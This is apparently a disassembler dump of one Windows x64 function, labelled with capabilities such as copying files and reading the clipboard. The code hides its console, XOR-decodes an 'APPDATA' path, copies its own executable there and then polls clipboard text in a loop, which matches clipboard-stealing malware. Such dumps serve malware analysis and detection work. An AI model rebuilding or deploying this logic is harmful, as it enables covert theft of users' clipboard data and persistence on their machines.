Function at 0x140005de0
Capabilities:
Copy file
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x140005e3a
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rsp + 0xa0], 0x2e
mov al, 0x6f
mov cl, 0x7e
movzx edx, cl
mov r8b, 0x6a
movzx r9d, al
mov r10b, 0x7a
movzx r11d, al
xor ebx, ebx
xor al, 0x2e
mov byte [rsp + 0xa1], al
xor cl, 0x2e
mov byte [rsp + 0xa2], cl
xor dl, 0x2e
mov byte [rsp + 0xa3], dl
xor r8b, 0x2e
mov byte [rsp + 0xa4], r8b
xor r9b, 0x2e
mov byte [rsp + 0xa5], r9b
xor r10b, 0x2e
mov byte [rsp + 0xa6], r10b
xor r11b, 0x2e
mov byte [rsp + 0xa7], r11b
mov byte [rsp + 0xa8], bl
lea rcx, [rsp + 0xa1]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], bl
jne 0x140005ed7
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400079e0
nop
mov byte [rsp + 0x30], 0x76
mov al, 0x2a
xor ecx, ecx
xor al, 0x76
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a420]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.1400073e0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140005f26
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140006f10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140005f74
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe94
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140003ec0
nop
lea rcx, [rsp + 0x40]
call fcn.140004a70
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140006008
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006003
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006003
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
test bl, bl
jne 0x1400060c2
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe94
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140003ec0
nop
mov qword [rsp + 0x30], r12
lea rax, [0x1400190b8]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140004b80
cmp dword [rsp + 0x30], 0
jne 0x140006870
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400060c2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400060bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe94
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140003ec0
nop
lea rcx, [rsp + 0x40]
call fcn.140004a70
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140006156
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006151
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006151
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
test bl, bl
je 0x140006277
mov byte [rsp + 0x30], 0x4b
mov al, 0x17
xor ecx, ecx
xor al, 0x4b
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a340]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.1400073e0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140006196
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140006f10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400061e4
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400061df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140006cf0
mov rbx, rax
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x14000622e
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000621d
mov rdx, qword [rbx]
xor r8d, r8d
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.DLL_CopyFileA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140006268
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006263
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006306
mov rcx, r8
call fcn.140010460
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe94
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140003ec0
nop
lea rcx, [rsp + 0x40]
call fcn.140004a70
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140006312
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000630d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000630d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
test bl, bl
je 0x1400065a5
mov esi, dword [0x14001a390]
lea rdi, [0x14001a380]
mov r8, rdi
cmp qword [0x14001a398], 0xf
cmova r8, qword [0x14001a380]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
cmovo rax, r15
mov rcx, rax
call fcn.1400107b4
mov rbx, rax
cmp qword [0x14001a398], 0xf
cmova rdi, qword [0x14001a380]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140006b00
mov rcx, rbx
call fcn.140010460
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x80]
call fcn.140006b00
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140006411
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000640c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000640c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
call fcn.1400055b0
test eax, eax
jne 0x14000655a
mov edi, dword [rsp + 0x70]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
movsxd rsi, eax
mov eax, 2
mul rsi
cmovo rax, r15
mov rcx, rax
call fcn.1400107b4
mov rbx, rax
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140006b00
mov rcx, rbx
call fcn.140010460
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 7
cmova rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
call fcn.1400059b0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x14000655a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006554
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006554
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x1400065a5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010460
movabs r13, 0x7fffffffffffffff
jmp 0x1400065b8
mov r15, 0xffffffffffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
xorps xmm0, xmm0
test rax, rax
jne 0x14000664d
mov byte [rsp + 0x30], 0x7a
mov al, 0x1f
mov cl, 8
movzx edx, cl
mov r8b, 0x15
movzx r9d, cl
xor r10d, r10d
xor al, 0x7a
mov byte [rsp + 0x31], al
xor cl, 0x7a
mov byte [rsp + 0x32], cl
xor dl, 0x7a
mov byte [rsp + 0x33], dl
xor r8b, 0x7a
mov byte [rsp + 0x34], r8b
xor r9b, 0x7a
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x31]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], r10b
jne 0x140006630
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.1400079e0
jmp 0x1400066ce
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa0], rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_GlobalLock]
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006690
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1400079e0
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x50], xmm1
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_GlobalUnlock]
nop
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
lea r14, [rsp + 0x40]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
cmp r15, 0xf
cmova r14, rsi
mov rdi, qword [rsp + 0x50]
cmp rdi, r13
ja 0x140006887
cmp rdi, 0xf
ja 0x140006740
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x80], xmm0
jmp 0x1400067e1
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x14000677b
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140010468
mov rcx, rax
test rax, rax
je 0x1400067a4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400067ba
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400067ab
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000688c
jmp 0x14000675d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400067b7
call fcn.140010468
jmp 0x1400067ba
mov rax, r12
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x80]
call fcn.140005330
mov ecx, 0x3e8
call fcn.140005140
nop
cmp r15, 0xf
jbe 0x1400065b1
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000682f
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000682f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140010460
jmp 0x1400065b1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.create_directories
call fcn.140004a10
nop
call fcn.1400034b0
call fcn.140003410
int3